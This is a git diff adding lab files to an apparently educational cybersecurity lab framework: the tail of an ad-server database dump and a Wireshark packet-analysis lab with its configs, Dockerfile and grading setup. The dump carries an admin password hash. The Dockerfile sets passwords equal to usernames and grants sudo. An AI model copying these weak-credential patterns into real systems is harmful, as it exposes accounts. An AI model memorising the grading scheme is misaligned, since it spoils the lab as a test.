(1,'default_banner_image_url','TRAFFICKER'),(2,'default_banner_destination_url','TRAFFICKER'),(3,'default_banner_weight','ADVERTISER'),(4,'default_campaign_weight','ADVERTISER'),(5,'warn_email_admin','ADMIN'),(6,'warn_email_admin_impression_limit','ADMIN'),(7,'warn_email_admin_day_limit','ADMIN'),(8,'campaign_ecpm_enabled','MANAGER'),(9,'contract_ecpm_enabled','MANAGER'),(10,'warn_email_manager','MANAGER'),(11,'warn_email_manager_impression_limit','MANAGER'),(12,'warn_email_manager_day_limit','MANAGER'),(13,'warn_email_advertiser','ADVERTISER'),(14,'warn_email_advertiser_impression_limit','ADVERTISER'),(15,'warn_email_advertiser_day_limit','ADVERTISER'),(16,'timezone','MANAGER'),(17,'tracker_default_status','ADVERTISER'),(18,'tracker_default_type','ADVERTISER'),(19,'tracker_link_campaigns','ADVERTISER'),(20,'ui_show_campaign_info','ADVERTISER'),(21,'ui_show_banner_info','ADVERTISER'),(22,'ui_show_campaign_preview','ADVERTISER'),(23,'ui_show_banner_html','ADVERTISER'),(24,'ui_show_banner_preview','ADVERTISER'),(25,'ui_hide_inactive',''),(26,'ui_show_matching_banners','TRAFFICKER'),(27,'ui_show_matching_banners_parents','TRAFFICKER'),(28,'ui_show_entity_id',''),(29,'ui_novice_user',''),(30,'ui_week_start_day',''),(31,'ui_percentage_decimals',''),(32,'ui_column_revenue','MANAGER'),(33,'ui_column_revenue_label','MANAGER'),(34,'ui_column_revenue_rank','MANAGER'),(35,'ui_column_bv','MANAGER'),(36,'ui_column_bv_label','MANAGER'),(37,'ui_column_bv_rank','MANAGER'),(38,'ui_column_num_items','MANAGER'),(39,'ui_column_num_items_label','MANAGER'),(40,'ui_column_num_items_rank','MANAGER'),(41,'ui_column_revcpc','MANAGER'),(42,'ui_column_revcpc_label','MANAGER'),(43,'ui_column_revcpc_rank','MANAGER'),(44,'ui_column_erpm','MANAGER'),(45,'ui_column_erpm_label','MANAGER'),(46,'ui_column_erpm_rank','MANAGER'),(47,'ui_column_erpc','MANAGER'),(48,'ui_column_erpc_label','MANAGER'),(49,'ui_column_erpc_rank','MANAGER'),(50,'ui_column_erps','MANAGER'),(51,'ui_column_erps_label','MANAGER'),(52,'ui_column_erps_rank','MANAGER'),(53,'ui_column_eipm','MANAGER'),(54,'ui_column_eipm_label','MANAGER'),(55,'ui_column_eipm_rank','MANAGER'),(56,'ui_column_eipc','MANAGER'),(57,'ui_column_eipc_label','MANAGER'),(58,'ui_column_eipc_rank','MANAGER'),(59,'ui_column_eips','MANAGER'),(60,'ui_column_eips_label','MANAGER'),(61,'ui_column_eips_rank','MANAGER'),(62,'ui_column_ecpm','MANAGER'),(63,'ui_column_ecpm_label','MANAGER'),(64,'ui_column_ecpm_rank','MANAGER'),(65,'ui_column_ecpc','MANAGER'),(66,'ui_column_ecpc_label','MANAGER'),(67,'ui_column_ecpc_rank','MANAGER'),(68,'ui_column_ecps','MANAGER'),(69,'ui_column_ecps_label','MANAGER'),(70,'ui_column_ecps_rank','MANAGER'),(71,'ui_column_id','MANAGER'),(72,'ui_column_id_label','MANAGER'),(73,'ui_column_id_rank','MANAGER'),(74,'ui_column_requests','MANAGER'),(75,'ui_column_requests_label','MANAGER'),(76,'ui_column_requests_rank','MANAGER'),(77,'ui_column_impressions','MANAGER'),(78,'ui_column_impressions_label','MANAGER'),(79,'ui_column_impressions_rank','MANAGER'),(80,'ui_column_clicks','MANAGER'),(81,'ui_column_clicks_label','MANAGER'),(82,'ui_column_clicks_rank','MANAGER'),(83,'ui_column_ctr','MANAGER'),(84,'ui_column_ctr_label','MANAGER'),(85,'ui_column_ctr_rank','MANAGER'),(86,'ui_column_conversions','MANAGER'),(87,'ui_column_conversions_label','MANAGER'),(88,'ui_column_conversions_rank','MANAGER'),(89,'ui_column_conversions_pending','MANAGER'),(90,'ui_column_conversions_pending_label','MANAGER'),(91,'ui_column_conversions_pending_rank','MANAGER'),(92,'ui_column_sr_views','MANAGER'),(93,'ui_column_sr_views_label','MANAGER'),(94,'ui_column_sr_views_rank','MANAGER'),(95,'ui_column_sr_clicks','MANAGER'),(96,'ui_column_sr_clicks_label','MANAGER'),(97,'ui_column_sr_clicks_rank','MANAGER'); +/*!40000 ALTER TABLE `rv_preferences` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_session` +-- + +DROP TABLE IF EXISTS `rv_session`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_session` ( + `sessionid` varchar(32) NOT NULL DEFAULT '', + `sessiondata` text NOT NULL, + `lastused` datetime DEFAULT NULL, + PRIMARY KEY (`sessionid`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_session` +-- + +LOCK TABLES `rv_session` WRITE; +/*!40000 ALTER TABLE `rv_session` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_session` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_stats_vast` +-- + +DROP TABLE IF EXISTS `rv_stats_vast`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_stats_vast` ( + `interval_start` datetime NOT NULL, + `creative_id` mediumint(20) NOT NULL, + `zone_id` mediumint(20) NOT NULL, + `vast_event_id` mediumint(20) NOT NULL, + `count` int(11) NOT NULL DEFAULT '0', + KEY `rv_stats_vast_creativekey` (`interval_start`,`creative_id`), + KEY `rv_stats_vast_zonekey` (`interval_start`,`zone_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_stats_vast` +-- + +LOCK TABLES `rv_stats_vast` WRITE; +/*!40000 ALTER TABLE `rv_stats_vast` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_stats_vast` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_targetstats` +-- + +DROP TABLE IF EXISTS `rv_targetstats`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_targetstats` ( + `day` date NOT NULL DEFAULT '0000-00-00', + `campaignid` mediumint(9) NOT NULL DEFAULT '0', + `target` int(11) NOT NULL DEFAULT '0', + `views` int(11) NOT NULL DEFAULT '0', + `modified` tinyint(4) NOT NULL DEFAULT '0' +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_targetstats` +-- + +LOCK TABLES `rv_targetstats` WRITE; +/*!40000 ALTER TABLE `rv_targetstats` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_targetstats` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_tracker_append` +-- + +DROP TABLE IF EXISTS `rv_tracker_append`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_tracker_append` ( + `tracker_append_id` int(11) NOT NULL AUTO_INCREMENT, + `tracker_id` mediumint(9) NOT NULL DEFAULT '0', + `rank` int(11) NOT NULL DEFAULT '0', + `tagcode` text NOT NULL, + `paused` enum('t','f') NOT NULL DEFAULT 'f', + `autotrack` enum('t','f') NOT NULL DEFAULT 'f', + PRIMARY KEY (`tracker_append_id`), + KEY `rv_tracker_append_tracker_id` (`tracker_id`,`rank`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_tracker_append` +-- + +LOCK TABLES `rv_tracker_append` WRITE; +/*!40000 ALTER TABLE `rv_tracker_append` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_tracker_append` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_trackers` +-- + +DROP TABLE IF EXISTS `rv_trackers`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_trackers` ( + `trackerid` mediumint(9) NOT NULL AUTO_INCREMENT, + `trackername` varchar(255) NOT NULL DEFAULT '', + `description` varchar(255) NOT NULL DEFAULT '', + `clientid` mediumint(9) NOT NULL DEFAULT '0', + `viewwindow` mediumint(9) NOT NULL DEFAULT '0', + `clickwindow` mediumint(9) NOT NULL DEFAULT '0', + `blockwindow` mediumint(9) NOT NULL DEFAULT '0', + `status` smallint(1) unsigned NOT NULL DEFAULT '4', + `type` smallint(1) unsigned NOT NULL DEFAULT '1', + `linkcampaigns` enum('t','f') NOT NULL DEFAULT 'f', + `variablemethod` enum('default','js','dom','custom') NOT NULL DEFAULT 'default', + `appendcode` text NOT NULL, + `updated` datetime NOT NULL, + PRIMARY KEY (`trackerid`), + KEY `rv_trackers_clientid` (`clientid`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_trackers` +-- + +LOCK TABLES `rv_trackers` WRITE; +/*!40000 ALTER TABLE `rv_trackers` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_trackers` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_upgrade_action` +-- + +DROP TABLE IF EXISTS `rv_upgrade_action`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_upgrade_action` ( + `upgrade_action_id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `upgrade_name` varchar(128) DEFAULT NULL, + `version_to` varchar(64) NOT NULL DEFAULT '', + `version_from` varchar(64) DEFAULT NULL, + `action` int(2) NOT NULL, + `description` varchar(255) DEFAULT NULL, + `logfile` varchar(128) DEFAULT NULL, + `confbackup` varchar(128) DEFAULT NULL, + `updated` datetime DEFAULT NULL, + PRIMARY KEY (`upgrade_action_id`), + KEY `rv_upgrade_action_updated` (`updated`) +) ENGINE=MyISAM AUTO_INCREMENT=34 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_upgrade_action` +-- + +LOCK TABLES `rv_upgrade_action` WRITE; +/*!40000 ALTER TABLE `rv_upgrade_action` DISABLE KEYS */; +INSERT INTO `rv_upgrade_action` VALUES (1,'install_3.0.5','3.0.5','0',1,'UPGRADE_COMPLETE','install.log',NULL,'2014-09-17 00:26:16'),(2,'install_openXBannerTypes','1.2.1','0',4,'PACKAGE INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:21'),(3,'install_oxHtml','1.2.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:21'),(4,'install_oxText','1.2.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:21'),(5,'install_openXDeliveryLimitations','1.2.1','0',4,'PACKAGE INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:27'),(6,'install_Client','1.2.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:26'),(7,'install_Geo','1.2.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:26'),(8,'install_Site','1.2.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:26'),(9,'install_Time','1.2.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:26'),(10,'install_openX3rdPartyServers','1.1.0','0',4,'PACKAGE INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:32'),(11,'install_ox3rdPartyServers','1.1.0','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:32'),(12,'install_openXReports','1.5.1','0',4,'PACKAGE INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:37'),(13,'install_oxReportsStandard','1.5.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:36'),(14,'install_oxReportsAdmin','1.5.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:36'),(15,'install_openXDeliveryCacheStore','1.1.1','0',4,'PACKAGE INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:41'),(16,'install_oxCacheFile','1.1.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:41'),(17,'install_oxMemcached','1.1.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:41'),(18,'install_openXMaxMindGeoIP','1.2.2','0',4,'PACKAGE INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:46'),(19,'install_oxMaxMindGeoIP','1.2.2','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:46'),(20,'install_openXInvocationTags','1.2.1','0',4,'PACKAGE INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:51'),(21,'install_oxInvocationTags','1.2.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:50'),(22,'install_openXDeliveryLog','1.1.1','0',4,'PACKAGE INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:59'),(23,'install_oxDeliveryDataPrepare','1.1.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:56'),(24,'install_oxLogClick','1.1.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:57'),(25,'install_oxLogConversion','1.1.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:57'),(26,'install_oxLogImpression','1.1.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:57'),(27,'install_oxLogRequest','1.1.1','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:27:57'),(28,'install_openXVideoAds','1.10.2','0',4,'PACKAGE INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:28:08'),(29,'install_vastInlineBannerTypeHtml','1.10.2','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:28:06'),(30,'install_vastOverlayBannerTypeHtml','1.10.2','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:28:06'),(31,'install_oxLogVast','1.10.2','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:28:06'),(32,'install_vastServeVideoPlayer','1.10.2','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:28:07'),(33,'install_videoReport','1.10.2','0',4,'PLUGIN INSTALL COMPLETE','plugins.log',NULL,'2014-09-17 07:28:07'); +/*!40000 ALTER TABLE `rv_upgrade_action` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_userlog` +-- + +DROP TABLE IF EXISTS `rv_userlog`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_userlog` ( + `userlogid` mediumint(9) NOT NULL AUTO_INCREMENT, + `timestamp` int(11) NOT NULL DEFAULT '0', + `usertype` tinyint(4) NOT NULL DEFAULT '0', + `userid` mediumint(9) NOT NULL DEFAULT '0', + `action` mediumint(9) NOT NULL DEFAULT '0', + `object` mediumint(9) DEFAULT NULL, + `details` mediumtext, + PRIMARY KEY (`userlogid`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_userlog` +-- + +LOCK TABLES `rv_userlog` WRITE; +/*!40000 ALTER TABLE `rv_userlog` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_userlog` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_users` +-- + +DROP TABLE IF EXISTS `rv_users`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_users` ( + `user_id` mediumint(9) NOT NULL AUTO_INCREMENT, + `contact_name` varchar(255) NOT NULL DEFAULT '', + `email_address` varchar(64) NOT NULL DEFAULT '', + `username` varchar(64) DEFAULT NULL, + `password` varchar(64) DEFAULT NULL, + `language` varchar(5) DEFAULT NULL, + `default_account_id` mediumint(9) DEFAULT NULL, + `comments` text, + `active` tinyint(1) NOT NULL DEFAULT '1', + `sso_user_id` int(11) DEFAULT NULL, + `date_created` datetime DEFAULT NULL, + `date_last_login` datetime DEFAULT NULL, + `email_updated` datetime DEFAULT NULL, + PRIMARY KEY (`user_id`), + UNIQUE KEY `rv_users_username` (`username`), + UNIQUE KEY `rv_users_sso_user_id` (`sso_user_id`) +) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_users` +-- + +LOCK TABLES `rv_users` WRITE; +/*!40000 ALTER TABLE `rv_users` DISABLE KEYS */; +INSERT INTO `rv_users` VALUES (1,'Administrator','info@wtadlab.com','admin','878238a97cf1b572e3dd4d8d4f922458','en',2,NULL,1,NULL,'2014-09-17 00:27:07',NULL,'2014-09-17 00:27:07'); +/*!40000 ALTER TABLE `rv_users` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_variable_publisher` +-- + +DROP TABLE IF EXISTS `rv_variable_publisher`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_variable_publisher` ( + `variable_id` int(11) NOT NULL, + `publisher_id` int(11) NOT NULL, + `visible` tinyint(1) NOT NULL, + PRIMARY KEY (`variable_id`,`publisher_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_variable_publisher` +-- + +LOCK TABLES `rv_variable_publisher` WRITE; +/*!40000 ALTER TABLE `rv_variable_publisher` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_variable_publisher` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_variables` +-- + +DROP TABLE IF EXISTS `rv_variables`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_variables` ( + `variableid` mediumint(9) unsigned NOT NULL AUTO_INCREMENT, + `trackerid` mediumint(9) NOT NULL DEFAULT '0', + `name` varchar(250) NOT NULL DEFAULT '', + `description` varchar(250) DEFAULT NULL, + `datatype` enum('numeric','string','date') NOT NULL DEFAULT 'numeric', + `purpose` enum('basket_value','num_items','post_code') DEFAULT NULL, + `reject_if_empty` smallint(1) unsigned NOT NULL DEFAULT '0', + `is_unique` int(11) NOT NULL DEFAULT '0', + `unique_window` int(11) NOT NULL DEFAULT '0', + `variablecode` varchar(255) NOT NULL DEFAULT '', + `hidden` enum('t','f') NOT NULL DEFAULT 'f', + `updated` datetime NOT NULL, + PRIMARY KEY (`variableid`), + KEY `rv_variables_is_unique` (`is_unique`), + KEY `rv_variables_trackerid` (`trackerid`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_variables` +-- + +LOCK TABLES `rv_variables` WRITE; +/*!40000 ALTER TABLE `rv_variables` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_variables` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_zones` +-- + +DROP TABLE IF EXISTS `rv_zones`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_zones` ( + `zoneid` mediumint(9) NOT NULL AUTO_INCREMENT, + `affiliateid` mediumint(9) DEFAULT NULL, + `zonename` varchar(245) NOT NULL DEFAULT '', + `description` varchar(255) NOT NULL DEFAULT '', + `delivery` smallint(6) NOT NULL DEFAULT '0', + `zonetype` smallint(6) NOT NULL DEFAULT '0', + `category` text NOT NULL, + `width` smallint(6) NOT NULL DEFAULT '0', + `height` smallint(6) NOT NULL DEFAULT '0', + `ad_selection` text NOT NULL, + `chain` text NOT NULL, + `prepend` text NOT NULL, + `append` text NOT NULL, + `appendtype` tinyint(4) NOT NULL DEFAULT '0', + `forceappend` enum('t','f') DEFAULT 'f', + `inventory_forecast_type` smallint(6) NOT NULL DEFAULT '0', + `comments` text, + `cost` decimal(10,4) DEFAULT NULL, + `cost_type` smallint(6) DEFAULT NULL, + `cost_variable_id` varchar(255) DEFAULT NULL, + `technology_cost` decimal(10,4) DEFAULT NULL, + `technology_cost_type` smallint(6) DEFAULT NULL, + `updated` datetime NOT NULL, + `block` int(11) NOT NULL DEFAULT '0', + `capping` int(11) NOT NULL DEFAULT '0', + `session_capping` int(11) NOT NULL DEFAULT '0', + `what` text NOT NULL, + `as_zone_id` int(11) DEFAULT NULL, + `is_in_ad_direct` tinyint(1) NOT NULL DEFAULT '0', + `rate` decimal(19,2) DEFAULT NULL, + `pricing` varchar(50) NOT NULL DEFAULT 'CPM', + `oac_category_id` int(11) DEFAULT NULL, + `ext_adselection` varchar(255) DEFAULT NULL, + `show_capped_no_cookie` tinyint(4) NOT NULL DEFAULT '0', + PRIMARY KEY (`zoneid`), + KEY `rv_zones_zonenameid` (`zonename`,`zoneid`), + KEY `rv_zones_affiliateid` (`affiliateid`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_zones` +-- + +LOCK TABLES `rv_zones` WRITE; +/*!40000 ALTER TABLE `rv_zones` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_zones` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Dumping routines for database 'revive_adserver' +-- +/*!50003 DROP FUNCTION IF EXISTS `GetImpressionCount` */; +/*!50003 SET @saved_cs_client = @@character_set_client */ ; +/*!50003 SET @saved_cs_results = @@character_set_results */ ; +/*!50003 SET @saved_col_connection = @@collation_connection */ ; +/*!50003 SET character_set_client = utf8 */ ; +/*!50003 SET character_set_results = utf8 */ ; +/*!50003 SET collation_connection = utf8_general_ci */ ; +/*!50003 SET @saved_sql_mode = @@sql_mode */ ; +/*!50003 SET sql_mode = '' */ ; +DELIMITER ;; +CREATE DEFINER=`root`@`localhost` FUNCTION `GetImpressionCount`(vSessionID VARCHAR(16),vTrackGUID VARCHAR(16)) RETURNS int(11) +BEGIN + SET @impCount := (SELECT Count(1) FROM bt_ImpressionLog WHERE SessionID = vSessionID AND TrackGUID = vTrackGUID); + return @impCount; + +END ;; +DELIMITER ; +/*!50003 SET sql_mode = @saved_sql_mode */ ; +/*!50003 SET character_set_client = @saved_cs_client */ ; +/*!50003 SET character_set_results = @saved_cs_results */ ; +/*!50003 SET collation_connection = @saved_col_connection */ ; +/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; + +/*!40101 SET SQL_MODE=@OLD_SQL_MODE */; +/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; +/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; +/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; +/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; +/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; +/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; + +-- Dump completed on 2017-11-21 10:50:18 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/sys_tar/sys.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/sys_tar/sys.tar new file mode 100644 index 000000000..7bd3099c2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/sys_tar/sys.tar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/README b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/README new file mode 100644 index 000000000..b27e9f9fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/README @@ -0,0 +1,23 @@ +This lab illustrates a technique for parameterizing PCAP files by altering +time associated with packets captured. This is achived by using editcap +to add a random number of seconds to the start time of the student's PCAP file. +The parameterized the timestamps within the PCAP file are referenced for grading implicitly +(checksum will not match if student copy the saved frame packet from another student). + +The lab requires the student to use wireshark to analyze a PCAP file that was +created using tcpdump to capture a telnet session. +The original PCAP file was constructed with a buffer of superfluous packets at +its beginning. The student will learn how to use wireshark to analyze packet +by looking for a specific telnet packet where the 'john-password' is passed in the clear. +The student will save that specific frame/packet as invalidpassword.pcap file. + +The student is considered to have completed the lab successfully if the correct packet +is captured. + +On the grading side, the pregrade.sh script is used to extract the correct frame/packet +and save as expected answer. + +To evaluate the student's task is completed or not, the checksum is computed for +the student's saved packet against the expected answer. The goal is achieved is both +checksums are the same. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/config/about.txt new file mode 100644 index 000000000..d21ada77b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/config/about.txt @@ -0,0 +1 @@ +Use wireshark to analyze a PCAP file, locating an invalid password used in telnet attempt diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/config/parameter.config new file mode 100644 index 000000000..ebdc155c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/config/parameter.config @@ -0,0 +1,9 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + +# The following are meant for wireshark-intro lab +# Replace the number of seconds to adjust for editcap (an example, not used in grading) +PCAPSECOND : RAND_REPLACE: /home/ubuntu/.local/bin/fixlocal.sh : EDITCAP_SECONDS : 100 : 3600 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/config/start.config new file mode 100644 index 000000000..77f8e4a1e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/config/start.config @@ -0,0 +1,24 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER wireshark-intro + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED wireshark-intro_jean_seed + +# SUBNETS +NETWORK SOME_NETWORK + MASK 172.20.0.0/24 + GATEWAY 172.20.0.100 + +# Container name and settings +CONTAINER wireshark-intro + USER ubuntu + XTERM INSTRUCTIONS + X11 YES diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/dockerfiles/Dockerfile.wireshark-intro.wireshark-intro.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/dockerfiles/Dockerfile.wireshark-intro.wireshark-intro.student new file mode 100644 index 000000000..8fbf1a0dc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/dockerfiles/Dockerfile.wireshark-intro.wireshark-intro.student @@ -0,0 +1,30 @@ +ARG registry +FROM $registry/labtainer.wireshark +ARG lab +ARG labdir +ARG imagedir +ARG apt_source +ARG user_name + +# +# Give them telnetd - just in case students need to experiment +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends tshark telnetd + +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +RUN adduser $user_name wireshark + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +# +# the faux_init script starts the rsyslog daemon & the xinetd +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/goals.config new file mode 100644 index 000000000..28880f96d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#DOC: used wireshark to extract the desired packets +wiresharkextractOK = matchany : string_equal : studentpcap : expectedpcap diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/pregrade.sh new file mode 100755 index 000000000..e2aa72d79 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/pregrade.sh @@ -0,0 +1,29 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential 